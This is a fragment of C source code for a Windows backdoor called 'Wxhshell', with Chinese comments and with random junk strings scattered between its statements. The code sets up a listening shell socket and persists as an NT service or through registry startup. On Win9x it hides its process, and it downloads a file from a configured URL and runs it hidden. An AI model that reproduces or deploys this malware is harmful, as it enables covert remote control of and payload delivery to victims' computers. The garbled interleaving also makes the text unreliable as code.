!)$Zp\Sg if(hProcess==NULL) return 0; y();tsWqc :(%5:1W HMODULE hMod; zuCSj~ char procName[255]; +7}]E1Uf unsigned long cbNeeded; O/LXdz0B cwL_tq if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !R$`+wZ62 F'Z,]b'st3 CloseHandle(hProcess); 5r0YA
IJ Ys7]B9/1O if(strstr(procName,"services")) return 1; // 以服务启动 FI.\%x GvAb`c= return 0; // 注册表启动 ^zr`;cJ+c } ;VK.2^jW! /wv0i3_e
// 主模块 lquLT6] int StartWxhshell(LPSTR lpCmdLine) 05R@7[GWq { EM_d8o)`B SOCKET wsl; TA\vZGJ(' BOOL val=TRUE; ry]l.@o; int port=0; 18Emi<&A struct sockaddr_in door; Nboaf u?EN if(wscfg.ws_autoins) Install(); I =#$8l.* {..6>fS port=atoi(lpCmdLine); /kG_*>.Z >mkFV@` if(port<=0) port=wscfg.ws_port; 9M ]_nP Y *^r}"in WSADATA data; O0:q;<>z if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; dWW.Y*339 ]@TCk8d$0 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; kf9X$d6 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); BLFdHB.$T door.sin_family = AF_INET; DfB7*+x{ door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1Ws9WU door.sin_port = htons(port); 1H9!5=Ff j1Ezf=N6` if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {G-kNU closesocket(wsl); ipz5 H* return 1; <naz+QK' } 0`H#
'/ 0 {mex4 if(listen(wsl,2) == INVALID_SOCKET) { Ca-j?bb! closesocket(wsl); lx i<F return 1; ,,TnIouy } 31)&vf[[ Wxhshell(wsl); x^CS"v7 WSACleanup(); xD$\,{ S>{~nOYt-` return 0; s^SJY{ \NC3'G:Ii } Ca\6vR M=Wz // 以NT服务方式启动 mc3"`+o VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %)wjR/o { 2pAW9R#UV- DWORD status = 0; @PU [:; DWORD specificError = 0xfffffff; n`KY9[0U= SAz serviceStatus.dwServiceType = SERVICE_WIN32; Mp]rUPK serviceStatus.dwCurrentState = SERVICE_START_PENDING; ~XIb\m9H serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; f 1d?.) serviceStatus.dwWin32ExitCode = 0; = /8cp serviceStatus.dwServiceSpecificExitCode = 0; cnLro serviceStatus.dwCheckPoint = 0; W8<%[-r serviceStatus.dwWaitHint = 0; ElXFeJ%[G y)*RV;^ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); qWw=8Bq if (hServiceStatusHandle==0) return; `x|?&Ytmf9 P* o9a status = GetLastError(); /j^ if (status!=NO_ERROR) 16 $B> { U6VKMxSJ serviceStatus.dwCurrentState = SERVICE_STOPPED; h$*!8=M serviceStatus.dwCheckPoint = 0; 4R*,VR.K serviceStatus.dwWaitHint = 0; F5Va+z,jg serviceStatus.dwWin32ExitCode = status; +q oRP2 serviceStatus.dwServiceSpecificExitCode = specificError; b]y2+A.n SetServiceStatus(hServiceStatusHandle, &serviceStatus); h\e.e3/ return; Y0>y8UV } Z}QB.$& % `3jL7| serviceStatus.dwCurrentState = SERVICE_RUNNING; iB{V^ksU serviceStatus.dwCheckPoint = 0; fIF8%J ^3 serviceStatus.dwWaitHint = 0; 7 3m1 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $^P0F9~0 } ZW}_DT0 5m*,8 ]!- // 处理NT服务事件,比如:启动、停止 c|%6e(g"L VOID WINAPI NTServiceHandler(DWORD fdwControl) ^s=8!=A( { C]#,+q* switch(fdwControl) PM+[,H { B3BN`mdn> case SERVICE_CONTROL_STOP: PeT'^?> serviceStatus.dwWin32ExitCode = 0; 6 r"<jh # serviceStatus.dwCurrentState = SERVICE_STOPPED; ise-O1' serviceStatus.dwCheckPoint = 0; "fI6Cpc serviceStatus.dwWaitHint = 0; '%D7C=;^ { ,)XLq8 SetServiceStatus(hServiceStatusHandle, &serviceStatus); _LPHPj^Pg } w@b)g return; (?c-iKGc case SERVICE_CONTROL_PAUSE: ! z**y}<T serviceStatus.dwCurrentState = SERVICE_PAUSED; P'2Qen* break; E3i4=!Y case SERVICE_CONTROL_CONTINUE: Zh,71Umz serviceStatus.dwCurrentState = SERVICE_RUNNING; g ?k=^C break; . ^u,. case SERVICE_CONTROL_INTERROGATE: >bxS3FCX break; liZxBs
:%i }; "{n&~H` SetServiceStatus(hServiceStatusHandle, &serviceStatus);
(=$x.1 } Jvi#) rZF*q2? // 标准应用程序主函数 y^k$Us int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) KP"+e:a% { Rv=YFo[B Vj-h;rB0z // 获取操作系统版本 74u&%Rj OsIsNt=GetOsVer(); <[phnU^
8 GetModuleFileName(NULL,ExeFile,MAX_PATH); yuVs
YV@" GmG5[?) // 从命令行安装 AdmC&!nH if(strpbrk(lpCmdLine,"iI")) Install(); :+Z%; Dc y2v^-q3 // 下载执行文件 iwq!w6+ if(wscfg.ws_downexe) { GeqPRah if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :Al!1BJQ WinExec(wscfg.ws_filenam,SW_HIDE); ;j7#7MN2_E } SKtr tm OVJ0}5P* if(!OsIsNt) { ~dSr5LUD // 如果时win9x,隐藏进程并且设置为注册表启动 ZG:{[sT HideProc(); s.#`&Sd> StartWxhshell(lpCmdLine); z{6Z
11| } 9ati`-y2 else @ 7u 0v if(StartFromService()) [m -bV$-d // 以服务方式启动 q| 7( StartServiceCtrlDispatcher(DispatchTable); lMt=|66 else 7nSxi+6e // 普通方式启动 0%B/,/PxD StartWxhshell(lpCmdLine); \^LFkp RNL9>7xV return 0; )_:NLo: }
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